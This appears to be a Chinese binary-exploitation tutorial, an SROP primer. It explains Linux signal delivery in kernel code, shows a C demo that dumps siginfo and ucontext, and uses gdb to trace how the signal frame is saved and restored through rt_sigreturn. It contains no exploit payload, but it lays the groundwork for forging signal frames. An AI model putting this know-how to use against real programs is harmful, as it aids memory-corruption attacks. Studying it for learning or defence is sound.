-
-
PWN入门-12-SROP拜师
-
发表于: 2024-10-9 20:54 1657
-
进程的贴身行囊 - 信号
信号是用户态进程与内核进行通信的一种方式,它是陷阱(软中断)的一种。如果想要查看所有的信号类型可以查询Linux手册。
信号抵达进行需要经过两个步骤,一是发送信号,而是接收信号。
信号与进程组
在Linux中进程的待处理的信号由task_struct
结构体中的signal
成员和pending
成员进行记录,signal
成员和pending
成员的区别在于,signal
成员中存放的待处理信号对整个进程组都是生效的,而pending
成员只对指定的线程有效。
signal
成员由signal_struct
结构体定义,该结构体中的shared_pending
成员是管理共享信号的主要成员,它由由sigpending
结构体定义,task_struct
结构体中的pending
成员也由sigpending
结构体定义。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | struct signal_struct { refcount_t sigcnt; ...... struct sigpending shared_pending; ...... struct rw_semaphore exec_update_lock; } __randomize_layout; struct sigpending { struct list_head list ; sigset_t signal; }; struct taks_struct { ...... struct signal_struct * signal; struct sighand_struct __rcu * sighand; struct sigpending pending; ...... } |
sigpending
结构体中的list
成员指向了待处理信号队列,从下面的定义中可以看到info
记录了关键的信号信息。
sigpending
结构体中还可以看到一个list
成员的身影,既然sigpending
结构体中的list
成员已经可以管理待处理信号队列了,那么sigpending
结构体中的list
成员又有什么用呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | #define __SIGINFO \ struct { \ int si_signo; \ int si_code; \ int si_errno; \ union __sifields _sifields; \ } typedef struct kernel_siginfo { __SIGINFO; } kernel_siginfo_t; struct sigqueue { struct list_head list ; int flags; kernel_siginfo_t info; struct ucounts * ucounts; }; |
要知道,在Linux中信号分成常规信号和实时信号,这里我们需要先了解一下它们的区别。
常规信号与实时信号
Linux中1号 - 31号是常规信号,32号+是实时信号。它们的区别在于,同进程下同类型的常规信号只能存在一个,当常规信号被响应后,下一个同类型的常规信号才可以进入队列。
对于实时信号来讲则不是这样,同进程下可以存在多个同类型的实时信号,系统会根据实时信号在队列中的数量进行多次响应。
因此sigpending
结构体中的list
成员管理着不同类型的信号,此链表中的信号类型是不能重复的,sigpending
结构体中的list
成员管理着同类型的信号,如果有需要且信号是实时信号,那么待处理信号就会被插入sigpending
结构体中的list
成员对应的队列中。
驱动验证
通过内核驱动(见附件)指定函数和进程ID,可以将进程尚未处理的信号信息打印出来,从下面可以看到,进程收到了信号SIGTERM
,SIGTERM
信号的序号是15,该信号是对整个进程组生效的。
1 2 3 4 5 | arch_do_signal_or_restart [ 16176.561445 ] pending signal - > [ 16176.561447 ] shared pending signal - > [ 16176.561448 ] 00000000 - signal num = 15 ; |
信号的发送
信号发送的原因可以分成三种,一是内核检测到错误发送(比如段错误,但并不是所有的错误都会导致信号产生)进而向进程组发送信号,二是主动发送信号(比如调用kill
函数、alarm
函数或者使用kill
程序),三是外部事件触发的信号(如I/O设备、其他进程)。
通过Shell运行的进程,通过键盘输入CTRL + C
或CTRL + Z
可以向进程发送SIGINT
或SIGTSTP
信号。
信号的接收
进程接收到信号后,会根据信号的类型执行默认的行为(终止进程、终止进程并转储、挂起、忽略信号)。
在C语言中允许程序通过sigaction
函数(更加强大,signal
函数是sigaction
函数的子集)设置指定信号的处理方法,而不是按照默认行为处理。
1 2 3 4 5 6 7 8 9 | void ( * signal( int sig, void ( * func)( int )))( int ); int sigaction( int signum, const struct sigaction * _Nullable restrict act, struct sigaction * _Nullable restrict oldact); 特殊的处理函数 - > SIG_DFL:执行默认操作 SIG_IGN:忽略信号 |
C语言提供的信号处理函数并不是所有的信号都可以处理的,比如信号SIGKILL
和SIGSTOP
,它们就必须执行默认行为。
用户态程序查看信号的发出方
有时候程序接收到信号后,我们会想要知道信号发出方的信息,因此下面给出了一种自定义信号处理函数获取发出方信息的办法。
下方直接给出了自定义信号处理操作的示例代码,代码由信号处理、全局跳转、退出处理三个部分组成。
自定义的信号处理函数会打印信号信息以及发送信息方的信息,发送方的信息被存储在my_signal_handle
中的siginfo
变量内。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 | #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <setjmp.h> #include <signal.h> #include <ucontext.h> typedef void ( * signal_handle_func)( int , siginfo_t * , void * ); #define SIGNAL_REGISTER_FAILED ((signal_handle_func)-1) #define SETJMP_RET_VAL_1 2333 #define KRNL_UCNTXT_ELE_CNT 5 typedef struct my_signal_info { unsigned long sig_num; signal_handle_func handle_func; } my_siginfo; static void my_signal_handle( int , siginfo_t * , void * ); static my_siginfo my_si[] = { { .sig_num = SIGKILL, .handle_func = my_signal_handle, }, { .sig_num = SIGTERM, .handle_func = my_signal_handle, }, }; static int ret_num = 0 ; static jmp_buf test_jmp_context; static void my_atexit_func(void) { printf( "enter %s, program will exit\n" , __func__); } static void my_atexit_register(void ( * func)(void)) { int ret; ret = atexit(func); if (ret ! = 0 ) { printf( "register atexit function failed\n" ); exit(ret); } } static void siginfo_dump(siginfo_t * si) { if (si) { printf( "\n[**] signinfo (signinfo_t size 0x%llx) - (_sifields size 0x%llx):\n" "si_signo = %08d ; si_errno = %08d ; si_code = %08d ;\n" "si_pid = %08d ; si_uid = %08d ;\n" "[--] _sifields will be displayed differently depending on the signal\n" "[--] only pid and uid will be shown here\n" , sizeof( * si), sizeof(si - >_sifields), si - >si_signo, si - >si_errno, si - >si_code, si - >_sifields._pad[ 0 ], si - >_sifields._pad[ 1 ] ); } } static void libc_fpstate_dump(fpregset_t fpregs) { printf( "\tcwd = %d ; swd = %d ; ftw = %d ; fop = %d ;\n" "\trip = 0x%016lx ; rdp = 0x%016lx ;\n" "\tmxcsr = 0x%08x ; mxcr_mask = 0x%08x ;\n" "\tno [_st] [_xmm]\n" , fpregs - >cwd, fpregs - >swd, fpregs - >ftw, fpregs - >fop, fpregs - >rip, fpregs - >rdp, fpregs - >mxcsr, fpregs - >mxcr_mask ); } static void ucontext_dump(ucontext_t * ucontext) { ssize_t arr_size, ele_size, ele_cnt; int i; if (ucontext) { printf( "\n[**] ucontext (ucontext_t size 0x%llx):\n" "uc_flags = 0x%016lx ; uc_link = 0x%016lx ;\n" "uc_stack (stack_t size 0x%llx) ->\n" "\tss_sp = 0x%016lx ; ss_flags = 0x%016lx ; ss_size = 0x%016lx\n" "uc_mcontext (mcontext_t size 0x%llx) ->\n" "\t---- gregs start ----" , sizeof( * ucontext), ucontext - >uc_flags, (unsigned long )ucontext - >uc_link, sizeof(ucontext - >uc_stack), ucontext - >uc_stack.ss_sp, ucontext - >uc_stack.ss_flags, ucontext - >uc_stack.ss_size, sizeof(ucontext - >uc_mcontext) ); i = 0 ; while (i < __NGREG) { if ((i % 4 ) = = 0 ) { printf( "\n\t" ); } printf( "0x%016lx ; " , ucontext - >uc_mcontext.gregs[i] ); i + + ; } printf( "\n\t---- gregs end ----\n" "\t---- fpregs start -----\n" ); libc_fpstate_dump(ucontext - >uc_mcontext.fpregs); printf( "\t---- fpregs end ----\n" ); printf( "no uc_sigmask (sigset_t size 0x%llx)\n" "__fpregs_mem (_libc_fpstate size 0x%llx) ->\n" , sizeof(ucontext - >uc_sigmask), sizeof(ucontext - >__fpregs_mem) ); libc_fpstate_dump(&ucontext - >__fpregs_mem); i = 0 ; arr_size = sizeof(ucontext - >__ssp); ele_size = sizeof(unsigned long long ); ele_cnt = arr_size / ele_size; printf( "__ssp (array size 0x%llx) ->\n\t" , arr_size ); while (i < 4 ) { printf( "0x%016llx ; " , ucontext - >__ssp[i]); i + + ; } printf( "\n" ); } } static void my_signal_handle( int signum, siginfo_t * si, void * ucontext) { printf( "\n[**] receive signal, signal base info:\n" "signal num = %d \n" "signal info = 0x%016lx\n" "user context = 0x%016lx\n" , signum, (unsigned long )si, (unsigned long )ucontext ); siginfo_dump(si); ucontext_dump(ucontext); } static signal_handle_func my_customize_signal_register_process(my_siginfo * msi) { int ret; struct sigaction new_act, old_act; memset(&new_act, 0 , sizeof(struct sigaction)); sigemptyset(&new_act.sa_mask); new_act.sa_flags = SA_SIGINFO; #ifdef SA_RESTART new_act.sa_flags | = SA_RESTART; #endif new_act.sa_sigaction = msi - >handle_func; ret = sigaction(msi - >sig_num, &new_act, &old_act); if (ret ! = 0 ) { return SIGNAL_REGISTER_FAILED; } return old_act.sa_sigaction; } static void my_signal_register(void) { signal_handle_func tmp_func; size_t arry_size, ele_size, ele_cnt; arry_size = sizeof(my_si); ele_size = sizeof(my_siginfo); ele_cnt = arry_size / ele_size; do { tmp_func = my_customize_signal_register_process(&my_si[ele_cnt - 1 ]); if (tmp_func = = SIGNAL_REGISTER_FAILED) { printf( "cannot register signo %d, errno %d\n" , my_si[ele_cnt - 1 ].sig_num, errno); } else { printf( "register signo %d succeed\n" , my_si[ele_cnt - 1 ].sig_num); } } while ( - - ele_cnt); } static void my_signal_setting(void) { my_atexit_register(my_atexit_func); my_signal_register(); } static void setting4globaljmp(void) { printf( "enter %s\n" , __func__); longjmp(test_jmp_context, SETJMP_RET_VAL_1); printf( "leave %s\n" , __func__); } static void global_jmp_test(void) { int cur_ret_val; cur_ret_val = setjmp(test_jmp_context); printf( "num %d -> setjmp return: %d\n" , ret_num, cur_ret_val); ret_num + + ; if (cur_ret_val = = 0 ) { setting4globaljmp(); } } int main(void) { my_signal_setting(); global_jmp_test(); printf( "pid = %d, waiting for a signal\n" , getpid()); pause(); } |
运行程序后向程序发送SIGTERM
信号后,程序出现如下的打印,从打印中可以看到程序收到信号15(对应SIGTERM
),si_code
为0对应着SI_USER
,代表信号由用户发出,si_uid
给出了该用户的用户ID,si_pid
给出了发出信号的进程ID。
通过echo $$
可以将kill
程序运行的进程ID打印出来,该进程ID是和si_pid
一致的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | 程序运行结果: register signo 15 succeed cannot register signo 9 , errno 22 num 0 - > setjmp return : 0 enter setting4globaljmp num 1 - > setjmp return : 2333 pid = 10411 , waiting for a signal [ * * ] receive signal, signal base info: signal num = 15 signal info = 0x00007ffd67435e30 user context = 0x00007ffd67435d00 [ * * ] signinfo (signinfo_t size 0x80 ) - (_sifields size 0x70 ): si_signo = 00000015 ; si_errno = 00000000 ; si_code = 00000000 ; si_pid = 00009013 ; si_uid = 00001000 ; [ - - ] _sifields will be displayed differently depending on the signal [ - - ] only pid and uid will be shown here [ * * ] ucontext (ucontext_t size 0x3c8 ): uc_flags = 0x0000000000000006 ; uc_link = 0x0000000000000000 ; uc_stack (stack_t size 0x18 ) - > ss_sp = 0x0000000000000000 ; ss_flags = 0x0000000000000000 ; ss_size = 0x0000000000000000 uc_mcontext (mcontext_t size 0x100 ) - > - - - - gregs start - - - - 0x0000000000000000 ; 0x0000000000000064 ; 0x00007ffd67436053 ; 0x0000000000000202 ; 0x0000000000000000 ; 0x00007ffd674362a8 ; 0x0000000000403d78 ; 0x00007f8de3eec020 ; 0x00007ffd67435c20 ; 0x0000000001b612a0 ; 0x00007ffd67436180 ; 0x00007ffd67436298 ; 0x0000000000000000 ; 0xfffffffffffffffc ; 0x00007f8de3d93d10 ; 0x00007ffd67436178 ; 0x00007f8de3d93d10 ; 0x0000000000000202 ; 0x002b000000000033 ; 0x0000000000000000 ; 0x0000000000000000 ; 0x0000000000000000 ; 0x0000000000000000 ; - - - - gregs end - - - - - - - - fpregs start - - - - - cwd = 895 ; swd = 0 ; ftw = 0 ; fop = 0 ; rip = 0x0000000000000000 ; rdp = 0x0000000000000000 ; mxcsr = 0x00001f80 ; mxcr_mask = 0x0002ffff ; no [_st] [_xmm] - - - - fpregs end - - - - no uc_sigmask (sigset_t size 0x80 ) __fpregs_mem (_libc_fpstate size 0x200 ) - > cwd = 0 ; swd = 0 ; ftw = 0 ; fop = 0 ; rip = 0x0000000000000000 ; rdp = 0x0000000000000000 ; mxcsr = 0x0000037f ; mxcr_mask = 0x00000000 ; no [_st] [_xmm] __ssp (array size 0x20 ) - > 0x0000000000000000 ; 0x0000000000000000 ; 0x0000000000000000 ; 0x00007ffd67436160 ; enter my_atexit_func, program will exit 主动触发程序信息: kill - s SIGTERM 10411 echo $$ 9013 |
当然这种方法仍然是不能处理某些信号的(如SIGKILL
、SIGSTOP
等等)。
信号的处理流程
谁来接收信号?
此处以kill
程序为例,我们通过strace工具追踪该程序产生的系统调用。
1 2 3 4 5 6 | strace / usr / bin / kill - s SIGTERM 2790 execve( "/usr/bin/kill" , [ "/usr/bin/kill" , "-s" , "SIGTERM" , "2790" ], 0x7ffc5e9561a8 / * 31 vars * / ) = 0 ...... kill( 2790 , SIGTERM) exit_group( 0 ) = ? + + + exited with 0 + + + |
在打印的内容中可以看到,kill
程序通过kill
函数向内核发出__NR_kill
系统调用。
1 | #define __NR_kill 62 |
内核会通过SYSCALL_DEFINE2(kill, pid_t, pid, int, sig)
对__NR_kill
系统调用进行接收,其中的kill_something_info
函数是实际处理的信号的地方。
1 2 3 4 5 6 7 8 | SYSCALL_DEFINE2(kill, pid_t, pid, int , sig) { struct kernel_siginfo info; prepare_kill_siginfo(sig, &info); return kill_something_info(sig, &info, pid); } |
从kill_something_info
函数中不难看出,函数由三个部分组成,它们分别是pid > 0
、pid = -1
、pid < 0
。,当pid > 0
时,发送信号给指定的进程,当pid = -1
时,发送信号给自身外的其余进程,当pid < 0
时,发送信号给自身作者的进程组。
这里我们重点关注pid > 0
的情况。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | static int kill_something_info( int sig, struct kernel_siginfo * info, pid_t pid) { int ret; if (pid > 0 ) return kill_proc_info(sig, info, pid); / * - INT_MIN is undefined. Exclude this case to avoid a UBSAN warning * / if (pid = = INT_MIN) return - ESRCH; read_lock(&tasklist_lock); if (pid ! = - 1 ) { ...... } else { ...... } read_unlock(&tasklist_lock); return ret; } |
kill_proc_info
函数最终会调用__send_signal_locked
函数对信号进行处理。
在__send_signal_locked
函数的内部,首先会根据type
变量判断是添加到给进程组还是线程(是PIDTYPE_PID
时添加到线程队列),再通过__sigqueue_alloc
分配一个sigqueue
,然后sigqueue
通过list_add_tail
接口添加到task_strut
中pending
成员的链表内,作为待处理信号,最后将信号信息和发送方信息添加到sigqueue
内。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | kill_proc_info - > kill_pid_info - > group_send_sig_info - > do_send_sig_info - > send_signal_locked - > __send_signal_locked enum pid_type { PIDTYPE_PID, PIDTYPE_TGID, PIDTYPE_PGID, PIDTYPE_SID, PIDTYPE_MAX, }; static int __send_signal_locked( int sig, struct kernel_siginfo * info, struct task_struct * t, enum pid_type type , bool force) { ...... pending = ( type ! = PIDTYPE_PID) ? &t - >signal - >shared_pending : &t - >pending; ...... q = __sigqueue_alloc(sig, t, GFP_ATOMIC, override_rlimit, 0 ); ...... if (q) { list_add_tail(&q - > list , &pending - > list ); switch ((unsigned long ) info) { case (unsigned long ) SEND_SIG_NOINFO: clear_siginfo(&q - >info); q - >info.si_signo = sig; q - >info.si_errno = 0 ; q - >info.si_code = SI_USER; q - >info.si_pid = task_tgid_nr_ns(current, task_active_pid_ns(t)); rcu_read_lock(); q - >info.si_uid = from_kuid_munged(task_cred_xxx(t, user_ns), current_uid()); rcu_read_unlock(); break ; ...... } } ...... complete_signal(sig, t, type ); ...... } |
complete_signal
函数会决定由信号由谁接收。首先判断的条件是wants_signal
函数,在当前任务应该接收信号时,会将接收权限交给当前进程,之后如果发现信号是发送给指定线程或单线程进程的话,就会直接返回,最后会从多线程中找到一个可用的线程。
接下来如果发现发现信号是致命的,就会通过signal_wake_up
接口给每一个线程都添加上TIF_SIGPENDING
标志,反之则只给指定的线程添加TIF_SIGPENDING
标志。
TIF_SIGPENDING
标志代表存在待处理的信号。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | signal_wake_up - > signal_wake_up_state - > set_tsk_thread_flag: TIF_SIGPENDING static void complete_signal( int sig, struct task_struct * p, enum pid_type type ) { struct signal_struct * signal = p - >signal; struct task_struct * t; if (wants_signal(sig, p)) t = p; else if (( type = = PIDTYPE_PID) || thread_group_empty(p)) return ; else { ...... } if (sig_fatal(p, sig) && (signal - >core_state || !(signal - >flags & SIGNAL_GROUP_EXIT)) && !sigismember(&t - >real_blocked, sig) && (sig = = SIGKILL || !p - >ptrace)) { ...... do { task_clear_jobctl_pending(t, JOBCTL_PENDING_MASK); sigaddset(&t - >pending.signal, SIGKILL); signal_wake_up(t, 1 ); } while_each_thread(p, t); ...... } signal_wake_up(t, sig = = SIGKILL); return ; } |
何时处理信号?
不管出于哪种原因发送信号,它们第一个需要的抵达的目标地点都是相同的,这个目标地点就是内核,那么内核又是如何进一步处理信号的呢?
对于内核而言,它会通过do_signal
函数(它是架构指定的,具体名字可能不同)处理信号,下面通过kprobe
机制中的pre_handler
在arch_do_signal_or_restart
函数之前打印出栈回溯(详情可见驱动代码)。
从栈回溯中可以看到,此时用户空间触发系统调用进入内核空间,当do_syscall_64
函数执行完系统调用后,会调用syscall_exit_to_user_mode
函数从内核空间退回到用户空间,使用arch_do_signal_or_restart
函数处理信号的操作也发生在这一阶段。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | CPU: 4 PID: 5738 Comm: srop_example Call Trace: <TASK> dump_stack_lvl + 0x44 / 0x5c ? arch_do_signal_or_restart + 0x1 / 0x830 stack_dump_by_kprobe_pre + 0x3b / 0x40 [lde] kprobe_ftrace_handler + 0x10b / 0x1b0 0xffffffffc02b90c8 ? arch_do_signal_or_restart + 0x1 / 0x830 arch_do_signal_or_restart + 0x5 / 0x830 exit_to_user_mode_prepare + 0x195 / 0x1e0 syscall_exit_to_user_mode + 0x17 / 0x40 do_syscall_64 + 0x61 / 0xb0 ...... entry_SYSCALL_64_after_hwframe + 0x6e / 0xd8 |
exit_to_user_mode_loop
函数会接收ti_work
参数,该参数调用read_thread_flags
接口,该接口会从thread_info
结构体内读出flags
成员,接收ti_work
参数后,会检查TIF_SIGPENDING
标志位(上面说过,待处理信号会添加该标志位),如果发现TIF_SIGPENDING
标志位存在,就说明存在待处理信号此时就会调用arch_do_signal_or_restart
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | syscall_exit_to_user_mode - > __syscall_exit_to_user_mode_work - > exit_to_user_mode_prepare - > exit_to_user_mode_loop - > arch_do_signal_or_restart ti_work = read_thread_flags(); static unsigned long exit_to_user_mode_loop(struct pt_regs * regs, unsigned long ti_work) { ...... if (ti_work & (_TIF_SIGPENDING | _TIF_NOTIFY_SIGNAL)) arch_do_signal_or_restart(regs); ...... } |
如何处理信号?
arch_do_signal_or_restart
函数响应的操作分成两部分,一是通过get_signal
函数获取信号信息,二是通过handle_signal
函数处理信号。
1 2 3 4 5 6 7 8 9 10 11 | struct ksignal { struct k_sigaction ka; kernel_siginfo_t info; int sig; }; struct pt_regs * regs struct ksignal ksig arch_do_signal_or_restart - > get_signal(&ksig) - > handle_signal(&ksig, regs) |
handle_signal
函数首先会通过test_thread_flag
函数检查TIF_SINGLESTEP
标志位,该标志位用于标记程序是否被中断下来,如果标志位存在,那就会通过user_disable_single_step
函数将TIF_SINGLESTEP
标志位清除掉,并通知调试器。
当调试器挂载到程序后,再触发信号时,会发现调试器会先收到通知,之后才是信号处理函数,原因就在这里。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | static void handle_signal(struct ksignal * ksig, struct pt_regs * regs) { bool stepping, failed; struct fpu * fpu = ¤t - >thread.fpu; ...... stepping = test_thread_flag(TIF_SINGLESTEP); if (stepping) user_disable_single_step(current); failed = (setup_rt_frame(ksig, regs) < 0 ); if (!failed) { regs - >flags & = ~(X86_EFLAGS_DF|X86_EFLAGS_RF|X86_EFLAGS_TF); fpu__clear_user_states(fpu); } signal_setup_done(failed, ksig, stepping); } |
setup_rt_frame
函数是一个关键操作,第一步通过get_sigframe
获取一个新的栈帧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | static int __setup_rt_frame( int sig, struct ksignal * ksig, sigset_t * set , struct pt_regs * regs) { struct rt_sigframe __user * frame; void __user * fp = NULL; unsigned long uc_flags; if (!(ksig - >ka.sa.sa_flags & SA_RESTORER)) return - EFAULT; frame = get_sigframe(&ksig - >ka, regs, sizeof(struct rt_sigframe), &fp); uc_flags = frame_uc_flags(regs); if (!user_access_begin(frame, sizeof( * frame))) return - EFAULT; unsafe_put_user(uc_flags, &frame - >uc.uc_flags, Efault); unsafe_put_user( 0 , &frame - >uc.uc_link, Efault); unsafe_save_altstack(&frame - >uc.uc_stack, regs - >sp, Efault); unsafe_put_user(ksig - >ka.sa.sa_restorer, &frame - >pretcode, Efault); unsafe_put_sigcontext(&frame - >uc.uc_mcontext, fp, regs, set , Efault); unsafe_put_sigmask( set , frame, Efault); user_access_end(); if (ksig - >ka.sa.sa_flags & SA_SIGINFO) { if (copy_siginfo_to_user(&frame - >info, &ksig - >info)) return - EFAULT; } regs - >di = sig; regs - >ax = 0 ; regs - >si = (unsigned long )&frame - >info; regs - >dx = (unsigned long )&frame - >uc; regs - >ip = (unsigned long ) ksig - >ka.sa.sa_handler; regs - >sp = (unsigned long )frame; regs - >cs = __USER_CS; if (unlikely(regs - >ss ! = __USER_DS)) force_valid_ss(regs); return 0 ; Efault: user_access_end(); return - EFAULT; } setup_rt_frame - > __setup_rt_frame |
新的栈帧通过rt_sigframe
结构体描述,其中pretcode
代表着信号处理完成后下一步的返回地址,uc
记录了上下文信息,info
记录了信号信息。
1 2 3 4 5 | struct rt_sigframe { char __user * pretcode; struct ucontext uc; struct siginfo info; }; |
通过user_access_end
结束之前的操作,可以将原始的上下文信息保存在用户态程序的栈上。
完成栈上数据的设置操作后,会继续更新用户态程序的寄存器信息,其中当前程序指针寄存器被放置了信号处理函数的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | copy_siginfo_to_user会往ucontext_t涵盖的范围内进行复制 sp + 0x0 | sigreturn | sp + 0x8 | ucontext_t * start | sp + 0x3D0 | ucontext_t * end | (gdb) p / x * (ucontext_t * )$rdx $ 2 = {uc_flags = 0x6 , uc_link = 0x0 , uc_stack = {ss_sp = 0x0 , ss_flags = 0x2 , ss_size = 0x0 }, uc_mcontext = {gregs = { 0x0 , 0x64 , 0x7fffffffddc4 , 0x202 , 0x0 , 0x7fffffffe018 , 0x403d78 , 0x7ffff7ffd020 , 0x7fffffffd990 , 0x4052a0 , 0x7fffffffdef0 , 0x7fffffffe008 , 0x0 , 0xfffffffffffffffc , 0x7ffff7e9ed10 , 0x7fffffffdee8 , 0x7ffff7e9ed10 , 0x202 , 0x2b000000000033 , 0x0 , 0x1 , 0x0 , 0x0 }, fpregs = 0x7fffffffdc40 , __reserved1 = { 0xc157 , 0x7ffff7fc36b0 , 0x3 , 0x7fff00000000 , 0xffe2e0 , 0x7ffff7ffe668 , 0x7ffff7fcb000 , 0x7ffff7fcbb82 }}, uc_sigmask = {__val = { 0x0 , 0xf , 0x0 , 0x3e800000d81 , 0x0 <repeats 12 times>}}, __fpregs_mem = {cwd = 0x0 , swd = 0x0 , ftw = 0x0 , fop = 0x0 , rip = 0x0 , rdp = 0x0 , mxcsr = 0x37f , mxcr_mask = 0x0 , _st = {{significand = { 0x0 , 0x0 , 0x0 , 0x0 }, exponent = 0x0 , __glibc_reserved1 = { 0x0 , 0x0 , 0x0 }}, {significand = { 0x1f80 , 0x0 , 0xffff , 0x2 }, exponent = 0x0 , __glibc_reserved1 = { 0x0 , 0x0 , 0x0 }}, {significand = { 0x0 , 0x0 , 0x0 , 0x0 }, exponent = 0x0 , __glibc_reserved1 = { 0x0 , 0x0 , 0x0 }}, {significand = { 0x0 , 0x0 , 0x0 , 0x0 }, exponent = 0x0 , __glibc_reserved1 = { 0x0 , 0x0 , 0x0 }}, {significand = { 0x0 , 0x0 , 0x0 , 0x0 }, exponent = 0x0 , __glibc_reserved1 = { 0x0 , 0x0 , 0x0 }}, { significand = { 0x0 , 0x0 , 0x0 , 0x0 }, exponent = 0x0 , __glibc_reserved1 = { 0x0 , 0x0 , 0x0 }}, {significand = { 0x0 , 0x0 , 0x0 , 0x0 }, exponent = 0x0 , __glibc_reserved1 = { 0x0 , 0x0 , 0x8000 }}, {significand = { 0x4007 , 0x0 , 0x0 , 0x0 }, exponent = 0x0 , __glibc_reserved1 = { 0x0 , 0x0 , 0x8000 }}}, _xmm = {{ element = { 0x3fff , 0x0 , 0x0 , 0x80000000 }}, {element = { 0x3fff , 0x0 , 0x4052a0 , 0x0 }}, {element = { 0x4052a0 , 0x0 , 0x25252525 , 0x25252525 }}, { element = { 0x25252525 , 0x25252525 , 0x0 , 0xffffff00 }}, {element = { 0x0 , 0xffffff00 , 0x0 , 0x0 }}, {element = { 0xffffff00 , 0x0 , 0x0 , 0xffff0000 }}, { element = { 0x0 , 0x0 , 0x0 , 0x0 }}, {element = { 0x0 , 0x0 , 0x0 , 0x0 }}, { element = { 0x0 , 0x0 , 0x6620676e , 0x6120726f }}, {element = { 0x67697320 , 0xa6c616e , 0xff000000 , 0x0 }}, {element = { 0x0 , 0x0 , 0x656c70 , - - Type <RET> for more, q to quit, c to continue without paging - - 0x4c454853 }}, {element = { 0x622f3d4c , 0x622f6e69 , 0x0 , 0x0 }}, {element = { 0x0 , 0x0 , 0x0 , 0x0 }}, {element = { 0x0 , 0x0 , 0x0 , 0x0 }}, {element = { 0x0 , 0x0 , 0x0 , 0x0 }}, {element = { 0x0 , 0x0 , 0x0 , 0x0 }}}, __glibc_reserved1 = { 0x0 , 0x0 , 0x0 , 0x0 , 0x0 , 0x0 , 0xffffdef0 , 0x7fff , 0x0 , 0x0 , 0xffffe018 , 0x7fff , 0x403d78 , 0x0 , 0xf7ffd020 , 0x7fff , 0xf7e1d65b , 0x7fff , 0x46505853 , 0x204 , 0x0 , 0x0 , 0x200 , 0x0 }}, __ssp = { 0x0 , 0x0 , 0x0 , 0x0 }} |
进入信号处理函数
我们在my_signal_handle
函数进行处理时将程序中断下来观察栈回溯。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | (gdb) bt #0 my_signal_handle (signum=15, si=0x7fffffffdbb0, ucontext=0x7fffffffda80) at main.c: 152 #1 <signal handler called> #2 0x00007ffff7e9ed10 in __libc_pause () at ../sysdeps/unix/sysv/linux/pause.c:29 #3 0x0000000000401789 in main () at main.c:241 #define __NR_rt_sigreturn 15 (gdb) frame 1 #1 <signal handler called> (gdb) disassemble Dump of assembler code for function __restore_rt: = > 0x00007ffff7e07050 < + 0 >: mov $ 0xf , % rax 0x00007ffff7e07057 < + 7 >: syscall 0x00007ffff7e07059 < + 9 >: nopl 0x0 ( % rax) End of assembler dump. |
1号栈帧被内核放置了信号处理结束后的操作__restore_rt
函数,这个函数非常简单,它会将系统调用号放入rax
寄存器内,然后执行系统调用,系统调用号15对应着__NR_rt_sigreturn
。
1 2 3 4 5 6 7 | (gdb) frame 1 #1 <signal handler called> (gdb) disassemble Dump of assembler code for function __restore_rt: = > 0x00007f2ddea2c050 < + 0 >: mov $ 0xf , % rax 0x00007f2ddea2c057 < + 7 >: syscall 0x00007f2ddea2c059 < + 9 >: nopl 0x0 ( % rax) |
完成信号处理后会干什么?
当__restore_rt
函数触发系统调用时就会再次陷入内核当中,内核根据系统调用__NR_rt_sigreturn
会触发__do_sys_rt_sigreturn
函数。
